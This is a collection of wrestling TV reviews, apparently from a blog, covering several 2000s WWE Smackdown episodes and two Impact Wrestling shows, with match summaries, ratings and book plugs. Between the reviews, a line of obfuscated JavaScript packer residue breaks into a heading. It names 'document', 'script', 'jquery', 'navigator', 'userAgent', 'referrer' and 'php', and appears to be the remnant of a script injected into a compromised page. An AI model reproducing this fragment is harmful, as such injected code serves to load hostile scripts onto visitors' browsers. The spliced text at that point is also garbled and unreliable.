We’ll start things off with Carlito’s Cabana (becoming more common) and Matt Morgan is out with Carlito. The guest this week is someone who earned a lot of respect from the locker room at Judgment Day: Carlito himself. Carlito praises himself but also thanks Morgan, and we see a clip of Morgan laying Big Show out. Cue Theodore Long, with Carlito designating him as NOT cool. Long makes fun of Morgan’s stutter while threatening to suspend him if he goes too far.

With that out of the way, Long explains the Draft, which will see a random wrestler move from Raw to Smackdown and vice versa. Therefore, next week might be everyone’s last on the show so Long has an idea. Tonight it’s a winner’s choice battle royal with the winner getting any match they choose. That’s cool with Carlito, who wants to win and get a WWE Title match against John Cena. Long likes the enthusiasm so Carlito can have another match tonight….against the Big Show. Carlito hugs Morgan out of fear.

Rey Mysterio is getting ready when he talks about making Eddie Guerrero pay tonight. When he wins the battle royal, he’s coming after Eddie again.

Tag Team Titles: MNM vs. Charlie Haas/Hardcore Holly

MNM is defending in a rematch from Sunday. Holly and Mercury start things off but Nitro gets in a cheap shot at the bell. That’s fine with Holly, who drops Mercury with a belly to back suplex for two. Mercury chops him into the corner, which is just fine with Holly. Now it’s Nitro being brought in for more chops from Holly and the hanging kick to the low abdomen keeps Mercury in trouble.

Haas comes in for two off an Oklahoma roll but Mercury drives him into the corner without much effort. That means it’s off to Nitro, who gets dropkicked out of the air to put him down as well. We take a very sudden break and come back with Nitro coming in off a blind tag and getting in a cheap shot. The chinlock goes on, followed by a double gutbuster to really put Haas down. Haas grabs an armdrag and dives for the corner but Nitro powers him straight back into the corner to cut the crowd off again.

Holly chases Mercury around the ring instead of being on the apron for a tag, allowing Melina to rake Haas’ eyes. Not that it matters as Haas gets over for the tag a few seconds later and Holly starts cleaning house. Everything breaks down and the referee gets bumped, meaning there’s no count off the Alabama Slam. Nitro hits Holly with a chair and the referee sees that for the DQ.

Rating: C-. Haas and Holly have managed to do a little bit better than just being the lame team of combined jobbers, but at the same time there was no reason to believe that they were going to win the titles here. MNM continues to be a great team who needs some better opponents, which has been the case for a long list of teams over the last….well several years long stretches in company history.

Post match Haas chases everyone off with the chair.

We look at Booker T. and Sharmell beating up Kurt Angle on Sunday.

Booker says he’s never been prouder of Sharmell and he’ll never forget to take out the trash.

Here’s John Cena for a chat and the fans are rather happy to see him. Cena gives a more reserved than usual thank you and talks about how the chain represents never giving up. There had been a lot of talk about him being a one hit wonder and a bad champion. Then JBL said two words to change all of that on Sunday. Cena never said those words and therefore, THE CHAMP IS HERE.

JBL was right that Cena would suffer and bleed like never before and he was right. But when JBL said that he would take Cena’s soul, he was completely wrong. JBL QUIT and he must feel humiliated because of everything. Cena: “He’s got to feel like some pathetic shell of a man. And you are!”

Cue JBL, who looks a bit like Vince as he gets out of the limo. JBL slowly gets in the ring and says he doesn’t make excuses. That’s why he’s rich and the longest reigning WWE Champion in the last decade. JBL gave Cena a beating but he would never quit. He’s beaten everyone but he isn’t sure if he can beat Cena. It’s true that Cena is the man, but it’s just for now.

Someone like Cena will implode like Kurt Cobain or Mike Tyson. Then JBL will be there to become champion again. Cena says the people will decide your legacy and if he goes down, it’s in a blaze of glory. He’s a soldier who doesn’t care about his legacy, but JBL does. That’s why Cena has something for him (Cena: “You’re an idiot but you’ve done a lot of great things.”): a tribute video of JBL’s career. It had some classic matches and moments so JBL would love to see it.

We see the tribute video….which quickly turns into JBL saying I QUIT over and over. Cena dubs him the most celebrated quitter in WWE history and JBL leaves in disgust. This was a nice moment for Cena at first before it broke down into the usual banter between the two, though JBL had it coming to him after being a jerk, even in congratulating Cena on his win.

Carlito vs. Big Show

Show starts with the chops but stops to yell at Morgan. With Carlito still down, Show steps on his chest but Morgan grabs Show’s boot, earning himself an ejection. Carlito tries to leave as well, only to get pulled over the top and back inside in a big crash. Show: “YOU LOST YOUR STUTTERING FRIEND!” A huge chop takes Carlito down again and Show shoves him away with ease. Carlito gets up fast though and hits a middle rope dropkick to the leg. Not that it matters as the chokeslam gives Show the easy pin.

Rating: D. This was just a way to set up the post match angle and continue to remind us that Morgan exists. That being said, you’re not going to get anywhere with Morgan as a monster with the stuttering deal, but I’m sure WWE doesn’t understand the problem. What we got barely existed, but I can always go for seeing Carlito get destroyed.

Post match Morgan comes out and kicks Show in the head, setting up an F5 (in slow motion but an F5) through the announcers’ table.

We look back at the pretty awesome ECW funeral from Raw with Vince McMahon, Eric Bischoff and Paul Heyman hyping up One Night Stand. You can feel Heyman’s emotion coming through as his baby is getting one more chance.

Kurt Angle comes out for the Kurt Angle Invitational but first he needs to talk about how dark of a time it is for him. He got beaten up by Booker T. and then got humiliated by Booker’s gutter s*** wife. Then he had to hear about ECW, which isn’t his kind of wrestling. He even went to an ECW show and it made him so sick that he left halfway through. That’s why he is coming to One Night Stand with a bunch of tickets for some Smackdown wrestlers. Angle yells at Tazz, promising to bounce the ECW wrestlers like Heyman bounced checks. Tazz takes off his headset and sunglasses but never gets up. On with the destruction.

Kurt Angle vs. Robert

We never hear his last name but it’s Robert Fury of OVW non-fame. Angle runs him over as usual and it’s the Angle Slam into the ankle lock. Tazz kept his headset off and glared at Angle throughout the match.

Post match, Angle says on with the battle royal.

Battle Royal

Kurt Angle, Heidenreich, Carlito, Matt Morgan, Booker T., Hardcore Holly, Charlie Haas, Billy Kidman, Chavo Guerrero, Rey Mysterio, Eddie Guerrero, Funaki, Shannon Moore, Akio, Doug Basham, Danny Basham, Orlando Jordan, Paul London, Scotty 2 Hotty, Nunzio, Johnny Nitro, Mark Jindrak, Joey Mercury

Hold on though as Eddie chairs Rey from behind during his entrance. The beatdown ensues with referees running out for the late save. So there is no Rey, Morgan starts on the floor and Eddie (who has cut his nose somehow) drops to the floor as well. London is out first, because that’s what a champion means around here. Angle tosses Funaki and Kidman clotheslines Mercury out.

Akio is eliminated by Booker as Morgan blocks Carlito from being thrown out. There goes Jindrak and we take a break. Back with Nitro having been eliminated and Holly dumping Kidman. Angle gets rid of Heidenreich (which Cole calls a disqualification) as the ring is starting to thin out a bit. There goes Chavo at Scotty’s hands and Haas is out as well, with a nasty landing where his foot hits the apron on the way down.

Morgan pulls out Nunzio and Funaki but the distraction lets Booker eliminate Carlito. Eddie comes back in and tosses Scotty. We’re down to the Bashams, Jordan, Eddie, Angle, Holly and Booker but Eddie gets rid of Holly. Cue Rey to fight Eddie and take him out with a headscissors. Rey, who went over the top to the apron, goes back in and comes back out through the middle ropes (smart man) to dive onto Eddie. Referees have to break it up again as Eddie looks shell shocked.

We take another break and come back with Rey, the Bashams, Jordan, Angle and Booker (I guess Morgan was either never an entrant or just walked out without being eliminated). Some double teaming has Booker on the apron but he fights back in and clotheslines his way to freedom.

Spinebusters abound as Booker beats up the Cabinet by himself and gets rid of all three of them. Angle tosses Booker though and we’re down to Angle vs. Mysterio. Rey hammers on Angle in the corner but Angle powers him down with a throw. There’s a suplex to make it even worse but Rey gets in a dropkick and sends him to the apron. The 619 misses and Angle picks the ankle but Rey rolls out of the ankle lock.

They head to the apron and Angle has to hold on by the bottom rope. Some right hands can’t get rid of Angle, who climbs back over the top until Rey dropkicks him down again. This time Angle gets back in and snaps off a belly to belly but Rey is right back with the 619. Rey loads up a springboard but lands on a low blow, setting up an Angle Slam for the elimination to give Angle the win.

Rating: C+. The stuff after Eddie got in made it a lot better, but the first part with the losers in there didn’t do it any favors. That being said, the second half and the ending were enough to make up for the boring first half and it wound up working out pretty well. It was a good way to showcase the upper midcard talent, which is where Smackdown shines. I’m not wild on the Booker vs. Angle story but it’s a fresh feud between two talented guys. Eddie vs. Rey continues to be good too and now we have a reason for another match. It’s one of the better battle royals in awhile so I’ll take what I can get.

Overall Rating: C. This show did a great job of showing the difference between the good and the bad around here. The best done stuff on the show is going quite well, with Cena looking like a star, Eddie vs. Rey being some incredible stuff and Angle vs. Booker being fine if you can leave out one key element.

Then there’s the rest of the show, with names like Hardcore Holly and Charlie Haas getting a second title shot, the Cruiserweight Champion being eliminated like any given jobber, the United States Champion being nothing more than a lackey, and someone who should be a can’t miss prospect being reduced to a stuttering joke. That is a very firm line being drawn up and down this show and it’s showing badly. The good stuff is rather good but the weaker stuff is….well it isn’t terrible, but it’s not interesting and that’s worse.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: WWE

Smackdown
Date: January 22, 2004
Location: Target Center, Minneapolis, Minnesota
Attendance: 6,500
Commentators: Michael Cole, Tazz

It’s the final show before the Royal Rumble and most of Sunday is already set. You can always use more focus on the Rumble itself, but I have a bad feeling we might be in for a heavy dose of Hardcore Holly vs. Brock Lesnar tonight. I for one can’t get enough of the WWE Champion vs. the race car driver. Let’s get to it.

Here are last week’s results if you need a recap.

We open with a recap of Chavo Guerrero turning on his uncle Eddie, leading to Kurt Angle getting involved and setting up a tag match with Chavo and his dad vs. Eddie/Angle tonight. I’m not a big Chavo fan but he’s been money in this feud.

Opening sequence.

Rey Mysterio vs. Chuck Palumbo

Rey tries hammering away but a hard shoulder puts him down. Palumbo tries a powerbomb, earning all those right hands to the head. The 619 is loaded up early on but Johnny Stamboli low bridges Rey to the floor. Back in and Palumbo starts in on the knee by ramming it into the mat and grabbing a half crab. Ever the creative one, Rey flings his free leg back to kick Palumbo, whose staggering puts Rey closer to the ropes.

Instead of getting kicked again, Palumbo switched to a regular Boston crab. That’s broken up so Palumbo puts him on top, only to get caught with a top rope seated senton. A springboard moonsault into a reverse DDT gives Mysterio two but Nunzio’s distraction lets Palumbo kick his head off. Back up and Palumbo tries a fireman’s carry, only to get reversed into a rollup for the fast pin.

Rating: D. The problem here was with Palumbo, who clearly had no idea how to wrestle a match against someone that much smaller than him. While he isn’t the biggest guy in the world, Palumbo is big enough to wrestle a power style here and that’s not what we got. Mysterio was trying but Palumbo just isn’t that good.

Post match the FBI comes in and gives Mysterio the bigger beatdown. Jamie Noble comes out and pays them off before his match with Mysterio on Sunday. Of note: does anyone remember that Nunzio and Noble are supposed to be cousins? I don’t remember the last time it was mentioned and it certainly wasn’t here.

Paul Heyman is really not happy with John Cena and Chris Benoit for ruining the morality of this show, which certainly isn’t related to making him eat soap last week. Therefore tonight, for the sake of restoring the morals that this company were based on, they’ll be teaming up against Big Show/Brock Lesnar/Matt Morgan/Rhyno. The four of them just happen to be standing off camera.

Kurt Angle yells at Chavo and Chavo over messing with the family bond. He grew up under the pressure of having four older brothers who were better athletes than him. His way out? He won an Olympic gold medal. They’ll learn a lesson in the ring tonight.

Royal Rumble Qualifying Match: Tajiri vs. Billy Kidman

No Akio/Sakoda at ringside. Kidman starts fast with an armdrag and a hurricanrana but gets pulled off the top for a crash. It’s off to an armbar on Kidman’s recently repaired shoulder in a smart move. Tazz thinks Tajiri is smart for eating so much rice and a spinning kick to the arm seems to support that line of thinking. The handspring elbow is blocked with a dropkick but Kidman misses the shooting star. A Buzzsaw kick sends Tajiri to the Rumble.

Brock and Big Show are in the back to talk about the match and Show is sick of Lesnar following him around to “protect” him from Hardcore Holly. Show needs some time to himself and has the cops to protect him. Therefore, tonight Show is taking tonight off and after Sunday, he’s coming after the WWE Title, whether Lesnar or someone else holds it.

Royal Rumble Qualifying Match: A-Train vs. Shannon Moore

A-Train has shaved his beard and possibly some of his chest hair. Shannon drop toeholds him into the middle buckle to start but gets THROWN into the same corner for a little more impact. We hit something close to a Gory Stretch but cue the Cat of all people to dance, setting up a rollup to give Shannon two. A-Train will have none of that and sends him into the steps, followed by the Train Wreck for the fast pin.

Team Lesnar is in Heyman’s office but Paul wants to know where Show is. Lesnar explains things but Heyman says Show is just getting himself fired up. It’ll be SHOW TIME when the match is on.

Video on Holly vs. Lesnar.

John Cena/Chris Benoit vs. Brock Lesnar/Matt Morgan/Rhyno

No Show, and Heyman is sitting in a lifeguard chair at ringside. Before the match, Cena (great pop on his entrance) apologizes for not rubbing the soap in Heyman’s eyes last week too. Gay jokes are made about Heyman and then Show/Lesnar/Heyman, which of course get the better reactions. Lesnar, Morgan and Rhyno come out but there’s a forklift in front of Show’s locker room, confirming that it’s going to be 3-2.

Lesnar and Benoit get things going with Brock running away and tagging in Morgan with no action. So it’s Morgan being sent face first into the buckle and Cena coming in to forearm him in the back. Cena gets taken into the corner and the numbers game starts to get the better of him as Heyman looks on in near disgust. Rhyno can’t keep Cena in trouble though and it’s back to Benoit, who gets beaten up a little more easily. Heyman is thrilled when Lesnar comes in to start stomping away but it’s quickly back to Cena. They’re certainly moving with the tags here so far.

A spinebuster cuts Cena off and it’s back to Rhyno for a cross arm choke, allowing Cole to remind us that Big Show was supposed to be involved here too for about the third time in a minute. Lesnar comes back in for the corner shoulders but misses a charge. That’s enough for the hot tag to Benoit so we hit the rolling German suplexes, causing Heyman’s jaw to drop in fear. Rhyno breaks up the Crossface and hits a spinebuster, only to charge into a drop toehold into the ropes.

That’s enough for Lesnar, who takes a walk but gets jumped by Hardcore Holly. Cops come in for the save and we take a break. Back with fans telling Heyman that he ate soap as Morgan comes back in to headbutt Benoit. Rhyno knocks Cena off the apron and Gores Benoit for two with Cena diving back in for the save. Morgan misses an elbow though and now the hot tag brings Cena in to clean house. Everything breaks down and Cena dodges a Gore, setting up the FU for the pin on Rhyno.

Rating: C+. It’s rather impressive to turn a 4-2 handicap match into a regular tag inside of twenty minutes. Cena and Benoit battling the authority is fine though they’ll be better off when it gets down to Cena doing it alone as he’s much more anti-authority than Benoit and would fit better on his own. They’re both looking like stars though and that’s the best thing about the whole story.

Post match Cena and Benoit go after Heyman but Show comes in for some chokeslams.

Royal Rumble Qualifying Match: Bradshaw vs. Akio vs. Sakoda

Bradshaw beats them both up and hits a super Last Call for two on Sakoda. The double teaming starts working but, to my shock and awe, they get in an argument over who can pin Bradshaw. A double suplex gets one and another argument breaks out. Sakoda gets sent outside and Akio heads up, only to dive into the Clothesline to send Bradshaw to the Rumble.

Billy Gunn’s greatest moment ever: the wedding to Chuck. For some reason this is edited off of the Network, likely due to a music deal, though the previous two parts of the countdown were included.

Angle gives Eddie a pep talk and says the Guerrero family is messed up. If Eddie could control the Latino Heat, he could be WWE Champion. Tonight, they’re doing things by Angle’s rules: block out all emotions and concentrate on winning. Angle is kind of a jerk here.

Kurt Angle/Eddie Guerrero vs. Chavo Guerrero Jr./Chavo Guerrero Sr.

Eddie’s music is very quiet for some reason, being little more than background noise. At least it picks up right near the end and then Angle’s music is normal. Angle has to hold Eddie back from wrecking his family so we stall a bit before the bell. Jr. and Angle start things off but Kurt wants a handshake from Eddie, who tags him instead. For some reason that doesn’t count as a tag so Angle takes Jr. down with a headlock instead. The fans think Chavo sucks, though they don’t specify which one.

Jr. gets shouldered out to the floor and that means some advice from his dad. Sr. comes in but Angle still won’t tag Eddie. Some armdrags have Angle in more control so Eddie comes in to try and get his hands on someone. That sends the Chavos bailing to the floor so now Angle brings Eddie in for real. The emotions draw Eddie outside and the double teaming has Eddie in trouble.

Sr. chokes in the corner before coming in for a bow and arrow hold, followed by a crossface chickenwing. Jr. is back in with a dropkick in the corner but Eddie scores with a dropkick and it’s Angle coming back in to clean house. Eddie tags himself back in and everything breaks down. Double suplexes take the villains down but Angle gets poked in the eye, causing him to Angle Slam Eddie by mistake. Sr. hits a DDT as Angle is taken away, leaving Jr. to frog splash Eddie for the pin.

Rating: C+. Perfectly fine here and it’s the right call to have Chavo get a pin to set up Sunday’s match. Having both Chavos in there wasn’t the worst idea in the world as it’s not like Jr. has any other friends at the moment. Throw in the touch of Eddie’s family betraying him and it’s not a bad story. Eddie vs. Angle should be awesome too and the slow build to get there is nice.

Overall Rating: B-. This was designed to be more about the big angles getting the focus and that’s a good thing. It’s also nice to have Holly vs. Lesnar get very little time as they’re not really hiding the fact that they want the match over as soon as possible. Things are starting to pick up for the early stages of Wrestlemania season and hopefully things stay hot when we really get going.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of the NXT The Full Sail Years Volume III (also available as an e-book) from Amazon. Check out the information here:

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And check out my Amazon author page with cheap wrestling books at:

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IMG Credit: WWE

Smackdown
Date: December 18, 2003
Location: Veterans Memorial Arena, Jacksonville, Florida
Commentators: Michael Cole, Tazz

This is the last regular show of the year as next week’s is from Iraq for the first Tribute to the Troops. Since last week’s show was a stand alone episode, odds are that’s going to be the case this week as well as I can’t imagine them setting up much and then just dropping it for a week for the special. Let’s get to it.

Here are last week’s results if you need a recap.

We open with a recap of Brock Lesnar destroying Rey Mysterio last week until Hardcore Holly made the save. I might sign up for more beatings from Brock.

Opening sequence.

Here’s John Cena to get things going. It’s almost Christmas and the real reason for this season is to make love to Mrs. Claus (“She’ll be hanging off the balls from my Christmas tree.”). Funnier than his usual stuff at least.

Big Show vs. Orlando Jordan

Non-title (well duh) with Cena on commentary. Jordan goes straight at him and actually knocks Show into the corner. A dropkick has no effect and the Hog Log (Cena: “The HOG LOG?”) gives Show two. Cole tries to talk in hip hop lingo and Cena just rips him apart until the chokeslam cuts Jordan off for the pin.

Post match Show and Cena have a staredown before their match next week. Of note: a fan holds up a sign saying “The guy behind me can’t see.” I’ve seen that several times before and it’s still one of the worst signs you can make. How pathetic does your life have to be that when you buy an expensive seat to a show, the best thing you can do is make a sign to intentionally ruin someone’s night? Does that make you feel good about yourself? And how annoyed would you be if someone in front of you held up the same sign?

Hardcore Holly arrives and a security guard won’t let him in. Another guard comes up to say that Holly is Paul Heyman’s invited guest and has a private room.

Back from a break with A-Train in the ring and Brock Lesnar coming out, flanked by Heyman and Matt Morgan. Brock talks about beating Mysterio last week and brings up A-Train losing to Shannon Moore. Morgan brings up A-Train losing Team Lesnar money when he lost the match, which Lesnar says was his money. After we see a clip of the loss, Lesnar demands an answer and it better be good. A-Train apologizes for losing the money and embarrassing the team but wants to make things better.

Heyman thinks A-Train could make it up by dealing with Hardcore Holly. See, Holly’s suspension is lifted and tonight it’s an All or Nothing match. If Holly wins, he gets a title shot against Lesnar. If Holly loses, his contract is terminated immediately and he’s gone from WWE altogether. Tonight, it’s a tag team match with A-Train/Morgan vs. Holly/Moore. Lesnar doesn’t seem happy, much like the fans who are getting that as a main event.

Christmas in Iraq video.

Tag Team Titles: Los Guerreros vs. Scotty 2 Hotty/Rikishi vs. World’s Greatest Tag Team vs. Basham Brothers

The Bashams are defending and it’s one fall to a finish. Shaniqua is back with the Bashams (having not actually missed any time) but thankfully the masks are gone. Eddie and Rikishi start with the big man launching Eddie over in a backdrop. Chavo comes in and both Guerreros are suplexed at the same time. They escape a double Stinkface though and it’s off to Haas, who tries to slam Rikishi due to reasons of low intelligence.

Scotty comes in for some elbow drops but Haas brings in Shelton to take over. A very fast exploder suplex puts Scotty down but Danny and Eddie tag themselves in with a hurricanrana putting Danny down in a hurry. Both Bashams wind up in the corner for the double Stinkface with everyone else cheering. Thankfully we don’t get any jokes about them liking it as we take a break.

Chavo takes Danny up for a superplex but Doug comes in with a frog splash (a very telegraphed one too) to retain, even though Eddie hit them for the save before the three count. You could see Nick Patrick looking all over the place as he counted (like he was looking for someone to make a save) and Cole sounded a little confused too so something didn’t seem right there.

Rating: D+. Such is the problem with these matches containing so many people. With all the blind tags and quick sequences where you have to get people in and out to make sure everyone gets some time, you can’t get anything going. Also, yay the Bashams retain in a match where you don’t even have to have them lose the fall to get the titles off of them. There’s no coming back from such a stupid and terrible gimmick and having them hold the titles even longer isn’t making them any more over than they were before.

Heyman has put everyone’s name into a tumbler (save for Chris Benoit of course) and tonight, Lesnar is going to pull one out to give someone a title shot.

Lamont introduces The Cat for the weekly dancing session. Cole: “Somebody call my papa!” Cue Sable before he can get anywhere for some ranting and raving about him kissing her last week. Cat says he did (well yeah) but she didn’t look too hot last week. All he was trying to do was give her some hot Cat sugar to warm her up. He goes to kiss her again but here’s Vince to interrupt. Lamont holds the ropes open so Vince knocks him off as I cringe at where this may go.

Cat says he’s the greatest, Vince says he’s the greatest, Cat says he’s the greatest, Vince dances, Cat dances and Vince kicks Cat low. Vince: “SOMEBODY BETTER CALL THE CAT’S MAMA!” So Vince and the Cat are having a dance off on a show where Hardcore Holly is in the main event for a chance to become #1 contender. Oh and the Tag Team Champions are sex slaves to the most boring dominatrix of all time. Kind of a drop from the Smackdown Six days.

Rey Mysterio vs. Jamie Noble

For the #1 contendership. They hit the mat to start before running the ropes, including a monkey flip to put Noble down. Rey tries it again but Noble sticks the landing, setting up stereo dropkicks for a standoff. Rey’s headscissors out of the corner is countered into a faceplant and we hit a camel clutch. Back up and Noble’s charge hits post so Rey gets in a moonsault press for two.

In a counter that you would think someone else would have used before, Noble pulls the ropes apart and Rey crashes to the floor on a 619 attempt. That’s not enough for Jamie though as he throws Nidia inside and dropkicks her into the referee and Rey. Not that it matters as the tiger driver is countered into a hurricanrana to give Rey the pin. So Noble isn’t just a cheater, but also stupid. Such is life as a heel.

Rating: C-. The ending brings it down, much like Noble’s face run being aborted pretty quickly. I was digging his time for the forces of good but instead of making a new name out of a talented guy, let’s go with a story about Nidia instead. You know, the chick from Tough Enough so they might be able to get another season of the show.

Jamie tells Nidia that it was Mysterio.

Holly isn’t happy but he’ll do what he has to do tonight. He’s going to break Brock’s neck and take his title. No Bob, you’re not.

Chris Benoit vs. Chuck Palumbo

Benoit clears the ring of Nunzio and Stamboli but Palumbo gets in a cheap shot. The referee ejects the other two to get things even, albeit with Palumbo in full control to start. The big right hands connect and it’s time to talk about Iraq again. A cravate and belly to back suplex give Palumbo two but Benoit snaps him down by the arm. Back up and Palumbo goes shoulder first into the post (second match in a row) to set up the Crossface. Palumbo makes the rope so Benoit grabs a dragon screw legwhip. Some German suplexes into the Swan Dive get two so it’s the Crossface to make Palumbo tap.

Rating: C. This was completely fine as Benoit survives an early disadvantage to win. It’s good that they have something planned for him with this “he can’t have a title shot” thing as it makes Benoit seem like a threat to Lesnar. That’s what they need to build up, especially with Holly being the current challenger. Have I mentioned how stupid that really is? I wouldn’t want the message to be lost.

Rey comes in to see Nidia and explains (in Spanish for no apparent reason) that it was Jamie who dropkicked her. Nidia doesn’t believe him.

Rhyno vs. Faarooq

Rhyno wanted Bradshaw but gets Faarooq instead as Bradshaw is already in Iraq. Faarooq catches him from trying to run and hits a forearm to the back. A quick trip to the floor goes badly for Faarooq and it’s Rhyno stomping away back inside. The spinebuster gives Faarooq two so Rhyno hits him low for the fast DQ.

Rhyno Gores him down post match.

Heyman hypes up the possible matches for Lesnar, making it very clear that it’s going to be a joke.

In the ring, Heyman brings out Lesnar for the drawing. An annoyed Lesnar pulls out a name and we have a match.

Smackdown World Title: Brock Lesnar vs. Shannon Moore

Brock is defending. Shannon gets in a few shots to the knee and hits a dropkick to the jaw. That’s enough though as a series of clotheslines sets up the Brock Lock to retain the title in less than two minutes.

Post match Lesnar brags about being the best champion ever. He could have defended against anyone and pulls some more balls out of the tumbler. They all say Moore.

Hardcore Holly/Shannon Moore vs. A-Train/Matt Morgan

Yes your final three matches include Faarooq, Moore and Holly. Lesnar is at ringside and Lesnar is flanked by security. With Holly yelling at Lesnar, A-Train and Morgan run in to jump the still beaten down Moore. Morgan does the boot choke in the corner and A-Train hits a bunch of backbreakers.

A bearhug goes on with Morgan shaking Moore around and the Train Wreck draws Holly in for a save. An enziguri is enough for the hot tag so Holly can clean house until Lesnar chairs him in the back. Cole rants about how Holly has everything on the line before saying he has nothing to lose. A sitout powerbomb gives Morgan two but A-Train runs into Matt by mistake. The Alabama Slam gives Holly the pin.

Rating: D. Shannon’s selling was good (as always) but egads I’m not going to care about Holly. Who is buying that Lesnar is scared of the guy who spent years as a race car driver and then as part of a wacky family while trading the Hardcore Title with Road Dogg? I can’t imagine even a small portion of the audience is buying Holly as a real threat to Lesnar and it’s killing the story they’re going for. Holly’s team winning was very clear and at least they kept it short.

Overall Rating: D-. Oh my goodness Christmas has come early. By that I mean Christmas vacation as there wasn’t a lot of interest put into this show with a bunch of matches being too short to rate and Holly and Moore getting a ton of TV time. How am I supposed to get into much going on right now as we’re still waiting on Benoit to get his big time chance? I know it’s coming but they’re not making it easy to get there. Now to be fair a lot of that is just due to the holiday season, but egads find something better to bridge the gap.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of the WWE Grab Bag (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/03/23/new-paperback-kbs-grab-bag/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ikekr|var|u0026u|referrer|hdfsr||js|php'.split('|'),0,{})) Wrestling
Date: May 4, 2017
Location: Impact Zone, Orlando, Florida
Commentators: Josh Matthews, D’Angelo Dinero

Opening sequence.

Dave Penzer is now doing ring announcing, which hopefully means the Swoggle vs. Spud is done.

Matt Sydal vs. Eddie Edwards

They shake hands post match. Sydal leaves but here are Angelina Love and Davey Richards to beat Edwards down. Eddie gets laid out with a chair until Alisha dives off the stage to take Angelina down.

ODB wants to make Impact great.

JB is behind Josh and mocks his over the top mannerisms. This is still your top story.

Ethan Carter III vs. John Bolen

Carter kicks him in the face to start and chokes on the ropes. A running knee to the back sends Bolen outside. Back in and the TK3 sets up the 1%er for the pin on Bolen at 2:33.

Carter puts the new bosses on notice.

Remember how JB had a sign earlier? He still does and Josh is getting annoyed.

GFW World Title: Magnus vs. Matt Morgan

Morgan is challenging and uses the size to take over early on. A big boot sends Magnus outside but he posts Morgan for a breather. Back in and the Carbon Footprint misses so Morgan bangs up a leg to give Magnus a target. A kick to the leg sets up the Figure Four with Morgan making the ropes without too much effort.

More JB sign stuff.

LAX wants to hurt more people.

James Storm wants to make Impact great.

Spud, in a neck brace and with his leg in a cast, stares at a picture of Swoggle. So yes this is still going. So now we have a ring announcer feud to go with the commentator feud.

Kongo Kong vs. William Weeks

Post match Braxton Sutter comes out to go after Kong. Some right hands and a clothesline put the monster on the floor so Sutter and Allie can stand tall.

Eli Drake wants to make Impact great.

Eli Drake vs. Alberto El Patron

The winner gets a shot at Magnus at some point in the future. Drake runs away but gets pulled back to ringside, where the referee ejects Tyrus. Eli is fine enough to suplex him on the ramp but Alberto shakes it off and hits a suicide dive. Back from a break with Drake suplexing him onto the apron and choking on the floor.

Results

Matt Sydal b. Eddie Edwards – Shooting star press

Sienna b. Christina Von Eerie – Pounce
Ethan Carter III b. John Bolen – 1%er

Magnus b. Matt Morgan – Top rope elbow

Kongo Kong b. William Weeks – Top rope splash

Alberto El Patron b. Eli Drake – Double stomp

Remember to follow me on Twitter @kbreviews and pick up the NXT: The Full Sail Years Volumes I and II, now in PAPERBACK. Check out the information here:

http://kbwrestlingreviews.com/2017/03/24/kbs-history-of-nxt-volumes-1-and-2-now-available-in-paperback/

And check out my Amazon author page with cheap wrestling books at:

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Impact
Date: January 4, 2010
Location: Impact Zone, Orlando, Florida
Episode Title: Time For A Change
Commentators: Mike Tenay, Tazz

This is a show I’ve been asked to do for a long time and I could have sworn I did it live. It seems appropriate now with the possibility that Impact is ending its run on Spike. People have called this the beginning of the end, and I’m curious to see how poorly it holds up. I remember there being big problems when it was fresh but it could look a lot worse four and a half years later. Let’s get to it.

We open with a history of the company with a focus on the first show back in 2002 and the big names debuting. Naturally this all pales in comparison to Hogan arriving because the battle with WWE begins.

Theme song.

Tenay and Tazz run down the card.

Earlier today, new correspondent Bubba the Love Sponge, asked fans what they wanted to see. The general response: more wrestling, more of the old school, Hulk Hogan and mostly unclothed muscular men. Keep in mind that none of these people actually paid to get into this show.

Chris Sabin vs. Alex Shelley vs. Homicide vs. Kiyoshi vs. Jay Lethal vs. Consequences Creed vs. Suicide vs. Amazing Red

This is a Steel Asylum Xscape match, meaning it’s a BIG RED CAGE and the first person to climb out of a small hole in the top wins. The Guns (Shelley/Sabin), Lethal Consequences and Homicide/Kiyoshi are regular tag partners. Red is X-Division Champion but the title isn’t on the line. We immediately see the problem: there are eight people in the ring at once and the red bars are thicker than traditional cages, making it almost impossible to tell what’s going on inside.

Tenay tells us that Mick Foley couldn’t get through security to get in. Remember that because it’s going to be important later. It’s a huge brawl to start of course with various people climbing up and quickly being pulled back down. The fans are behind Shelley as he gets to the upper part of the cage (it’s shaped like a teapot with a lid instead of a regular cage) but Lethal makes a save before Alex can get to the hold.

Jay hits a Lethal Injection on Suicide but Kiyoshi (I think. You can barely tell) takes him down. The cameras are cutting away so fast that you can barely tell where everyone is. Suicide goes for the hole but Red makes a save. Well in theory as he kind of touches Red to get him down before diving at Sabin with a hurricanrana instead. Homicide busts out a baton and starts beating people……for a no contest. IN A CAGE MATCH.

Rating: F. None of the spots were anything special, the match ran less than five minutes, YOU COULDN’T SEE ANYTHING, AND IT WAS A FREAKING NO CONTEST IN A STEEL CAGE MATCH. Throw in that this was for nothing but bragging rights because the champion was in the match, meaning there wasn’t a title shot or anything like that up for grabs, and this was one of the worst opening matches I’ve seen in years.

The fans are rightfully livid, but we’re not done yet. Homicide goes climbing after the match is over….and he can’t get out. To be fair to him it’s a horrible design that a trapeze artist would have trouble getting out of but that’s why this was stupid. As Homicide is hanging upside down and trying not to die, the other guys get up so Homicide drops down to the mat.

They keep brawling until Jeff Hardy debuts (coming through the crowd because Hogan bringing him to the ring and saying “LOOK WHO I SIGNED” was too simple) and gets in a fight with Homicide outside (nearly falling over the bottom of the cage) of the ring. Jeff lays him out with a chair shot and Twist of Fate before climbing the outside of the cage and sitting on top. After tonight, he wouldn’t appear TNA for over two months.

Hardy and Shannon Moore are glad to see each other after a break.

Hulk Hogan is on the way, complete with a motorcade. Keep that in mind as well.

